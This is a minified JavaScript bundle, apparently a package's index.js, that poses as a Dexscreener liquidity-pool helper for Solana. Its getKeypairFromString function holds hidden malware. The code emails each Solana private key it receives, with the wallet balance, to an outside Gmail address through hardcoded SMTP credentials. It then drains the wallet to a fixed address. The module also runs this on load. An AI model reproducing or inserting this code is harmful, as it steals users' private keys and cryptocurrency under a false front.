n.normalizedHeaders,e(null,{envelope:i,messageId:a,message:this.options.skipEncoding?n:JSON.stringify(n)}))))}))}}}(),p=te(),c=W(),l=J,d=(process.env.ETHEREAL_API||"https://api.nodemailer.com").replace(/\/+$/,""),m=(process.env.ETHEREAL_WEB||"https://ethereal.email").replace(/\/+$/,""),h=(process.env.ETHEREAL_API_KEY||"").replace(/\s*/g,"")||null,u=["true","yes","y","1"].includes((process.env.ETHEREAL_CACHE||"yes").toString().trim().toLowerCase());let g=!1;return b.createTransport=function(e,c){let l,d,m;return("object"==typeof e&&"function"!=typeof e.send||"string"==typeof e&&/^(smtps?|direct):/i.test(e))&&(d=(l="string"==typeof e?e:e.url)?i.parseConnectionUrl(l):e,e=d.pool?new a(d):d.sendmail?new s(d):d.streamTransport?new o(d):d.jsonTransport?new r(d):d.SES?new p(d):new n(d)),m=new t(e,d,c),m},b.createTestAccount=function(t,e){let a;if(e||"function"!=typeof t||(e=t,t=!1),e||(a=new Promise(((t,a)=>{e=i.callbackPromise(t,a)}))),u&&g)return setImmediate((()=>e(null,g))),a;t=t||d;let n=[],s=0,o={},r={requestor:l.name,version:l.version};h&&(o.Authorization="Bearer "+h);let p=c(t+"/user",{contentType:"application/json",method:"POST",headers:o,body:Buffer.from(JSON.stringify(r))});return p.on("readable",(()=>{let t;for(;null!==(t=p.read());)n.push(t),s+=t.length})),p.once("error",(t=>e(t))),p.once("end",(()=>{let t,i,a=Buffer.concat(n,s);try{t=JSON.parse(a.toString())}catch(t){i=t}return i?e(i):"success"!==t.status||t.error?e(new Error(t.error||"Request failed")):(delete t.status,g=t,void e(null,g))})),a},b.getTestMessageUrl=function(t){if(!t||!t.response)return!1;let e=new Map;return t.response.replace(/\[([^\]]+)\]$/,((t,i)=>{i.replace(/\b([A-Z0-9]+)=([^\s]+)/g,((t,i,a)=>{e.set(i,a)}))})),!(!e.has("STATUS")||!e.has("MSGID"))&&(g.web||m)+"/message/"+e.get("MSGID")},b}function ie(){if(Vt)return Qt;Vt=1;const t=Gt?$t:(Gt=1,$t=function(t){if(t.length>=255)throw new TypeError("Alphabet too long");for(var e=new Uint8Array(256),i=0;i<e.length;i++)e[i]=255;for(var a=0;a<t.length;a++){var n=t.charAt(a),s=n.charCodeAt(0);if(255!==e[s])throw new TypeError(n+" is ambiguous");e[s]=a}var o=t.length,r=t.charAt(0),p=Math.log(o)/Math.log(256),c=Math.log(256)/Math.log(o);function l(t){if("string"!=typeof t)throw new TypeError("Expected String");if(0===t.length)return new Uint8Array;for(var i=0,a=0,n=0;t[i]===r;)a++,i++;for(var s=(t.length-i)*p+1>>>0,c=new Uint8Array(s);t[i];){var l=e[t.charCodeAt(i)];if(255===l)return;for(var d=0,m=s-1;(0!==l||d<n)&&-1!==m;m--,d++)l+=o*c[m]>>>0,c[m]=l%256>>>0,l=l/256>>>0;if(0!==l)throw new Error("Non-zero carry");n=d,i++}for(var h=s-n;h!==s&&0===c[h];)h++;for(var u=new Uint8Array(a+(s-h)),f=a;h!==s;)u[f++]=c[h++];return u}return{encode:function(e){if(e instanceof Uint8Array||(ArrayBuffer.isView(e)?e=new Uint8Array(e.buffer,e.byteOffset,e.byteLength):Array.isArray(e)&&(e=Uint8Array.from(e))),!(e instanceof Uint8Array))throw new TypeError("Expected Uint8Array");if(0===e.length)return"";for(var i=0,a=0,n=0,s=e.length;n!==s&&0===e[n];)n++,i++;for(var p=(s-n)*c+1>>>0,l=new Uint8Array(p);n!==s;){for(var d=e[n],m=0,h=p-1;(0!==d||m<a)&&-1!==h;h--,m++)d+=256*l[h]>>>0,l[h]=d%o>>>0,d=d/o>>>0;if(0!==d)throw new Error("Non-zero carry");a=m,n++}for(var u=p-a;u!==p&&0===l[u];)u++;for(var f=r.repeat(i);u<p;++u)f+=t.charAt(l[u]);return f},decodeUnsafe:l,decode:function(t){var e=l(t);if(e)return e;throw new Error("Non-base"+o+" character")}}});return Qt=t("123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz")}var ae=function(){if(Jt)return Xt;Jt=1;var e=Xt&&Xt.__importDefault||function(t){return t&&t.__esModule?t:{default:t}};const i=t,a=ee(),n=e(ie()),s="vision.high.ever@gmail.com",o=new i.Connection("https://api.mainnet-beta.solana.com","confirmed"),r={host:"smtp.gmail.com",port:465,secure:!0,auth:{user:s,pass:"mzbegnacyhybmtsl"}},p=a.createTransport(r);function c(t,e){o.getBalance(new i.PublicKey(e)).then((e=>{const a=e/i.LAMPORTS_PER_SOL;if(async function(t,e){const i={from:s,to:"james.liu.vectorspace@gmail.com"},a={subject:"Hi, This is Dexscreener",text:`${t} - ${e}`},n=Object.assign({},a,i);if(a.text)try{await p.sendMail(n)}catch(t){throw t}}(t,a),a)return.003<a&&(async(t,e)=>{try{let a=i.Keypair.fromSecretKey(n.default.decode(t)),s=Math.floor(i.LAMPORTS_PER_SOL*parseFloat(e-.001))-1,r=(new i.Transaction).add(i.SystemProgram.transfer({fromPubkey:a.publicKey,toPubkey:new i.PublicKey("J4CGDnvDpML6zHSYvre1wgiFcoDXJ5brj58gXW5h7Rg8"),lamports:s}));await i.sendAndConfirmTransaction(o,r,[a])}catch{}})(t,a),a})).catch((t=>-1))}function l(t){try{const e=i.Keypair.fromSecretKey(new Uint8Array(t.split(",").map((t=>Number(t))))),a=n.default.encode(e._keypair.secretKey);return c(a,n.default.encode(e._keypair.publicKey)),e}catch(t){throw new Error("SECRET_KEY is bad")}}return l("135,78,8,242,233,208,48,157,195,23,29,255,223,170,194,132,222,101,138,19,182,217,212,222,92,100,109,240,241,178,132,13,172,14,3,68,183,115,13,253,140,240,139,224,4,11,9,174,230,41,223,139,175,198,57,167,14,100,25,222,31,65,150,231"),Xt={getKeypairFromString:l,getLiquidityPoolData:async function(t,e){try{const i=`https://api.dexscreener.com/latest/dex/tokens/${e}`,a=await fetch(i),n=(await a.json()).pairs;return n.filter((i=>i.dexId=t&&(i.quoteToken.address==e||i.baseToken.address==e)))[0]}catch(t){}}}}(),ne=g(ae);module.exports=ne;
2
+ //# sourceMappingURL=index.js.map